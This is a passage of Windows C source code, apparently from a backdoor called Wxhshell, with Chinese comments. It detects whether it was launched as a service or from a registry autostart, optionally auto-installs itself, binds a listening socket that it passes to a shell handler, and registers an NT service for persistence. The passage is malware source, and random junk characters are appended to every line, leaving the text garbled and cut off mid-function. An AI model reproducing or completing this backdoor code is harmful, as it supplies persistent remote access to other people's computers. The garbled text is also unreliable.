DWORD AffinityMask; +^` I?1\UF
DWORD BasePriority; QE^$=\l0
ULONG UniqueProcessId; 3lf=b~Zi)
ULONG InheritedFromUniqueProcessId; Zd3S:),&
} PROCESS_BASIC_INFORMATION; Gj1&tjK
0\X\izQ5
PROCNTQSIP NtQueryInformationProcess; 8v:T.o;<
%"q9:{m
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S ^!n45l
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ahJ`T*)HY
J9\Cm!H
HANDLE hProcess; 2]z8:a
PROCESS_BASIC_INFORMATION pbi; X2#2C/6#u
,1y@Z 5wy
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {kA0z2Fe
if(NULL == hInst ) return 0; Yk'XGr)
6LvW?z(J
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lm iOhx
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0CZ:Bo[3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g{7.r-uu
AuvkecuIh
if (!NtQueryInformationProcess) return 0; G~F b
.eS<Dbku<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ST|x23|O]
if(!hProcess) return 0; zykT*V
hwPw]Ln/
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h){0rX@:&
+>8'mf
CloseHandle(hProcess); jte.Xy~g
us1Hu)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NG=@ -eu
if(hProcess==NULL) return 0; Df}A^G >X
*^\Ef4Lh
HMODULE hMod; -z
ID x
char procName[255]; YDIG,%uv
unsigned long cbNeeded; pI1-cV,`
;dkYf24
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T]^62(So
Fe# 1
CloseHandle(hProcess); xzdf^Ce
+G$4pt|=
if(strstr(procName,"services")) return 1; // 以服务启动 >f|||H}Snw
P9/q|>F
return 0; // 注册表启动 `}D,5^9]
} kI,yU}<Fq
g!FuY/%+
// 主模块 [T|aw1SoN
int StartWxhshell(LPSTR lpCmdLine) t=BUN
{ N+9VYH"*
SOCKET wsl; /,BD#|
BOOL val=TRUE; zUt'QH7E.
int port=0; EB0TTJR?#
struct sockaddr_in door; ]RZ|u*l=x
&9.C l;I
if(wscfg.ws_autoins) Install(); WEw6He;
,cXD.y
port=atoi(lpCmdLine); C>ICu*PW
~Z -Vs
if(port<=0) port=wscfg.ws_port; j:Xq1f6a
yjO1 Ol
WSADATA data; .Hescg/S
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Rm2yPuOU}A
~G)S
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; b10cuy|a/X
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tl[Uw[
door.sin_family = AF_INET; P:hBt\5B
door.sin_addr.s_addr = inet_addr("127.0.0.1"); U2ohHJ``
door.sin_port = htons(port); DMAIM|h
T"(&b~m2b4
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1Rt33\1J0
closesocket(wsl); Fh)IgzFj
return 1; 48J@CvU
} >>QY'1Eu
T tfo^ksw
if(listen(wsl,2) == INVALID_SOCKET) { raW>xOivR
closesocket(wsl); g!|=%(G=
return 1; k
9_`(nx
} $CRm3#+
~
Wxhshell(wsl); <KJ/<0l
WSACleanup(); el&0}`K
{IjF+@I
return 0; bc7/V#W
rbul8(1h
} Z@yW bjE7Z
3>3 Kwc~E
// 以NT服务方式启动 D+#E-8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *-#&K\
{ Ij 79~pn
DWORD status = 0; rExnxQ<e
DWORD specificError = 0xfffffff; l.(v^3:X
"0$a)4]
serviceStatus.dwServiceType = SERVICE_WIN32; ;RH;OE,A
serviceStatus.dwCurrentState = SERVICE_START_PENDING; \|n-
O=}=2
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; , |0}<%
serviceStatus.dwWin32ExitCode = 0; OP;v bZ
serviceStatus.dwServiceSpecificExitCode = 0; #F:p-nOq
serviceStatus.dwCheckPoint = 0; 2kqu p)82e
serviceStatus.dwWaitHint = 0; q'+)t7!
7( #:GD
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T*I{WW
if (hServiceStatusHandle==0) return; ]q\b,)4
e
['b}QW@Fx
status = GetLastError(); Z/G
ev"p
if (status!=NO_ERROR) w3N[9w?1
{ 0}<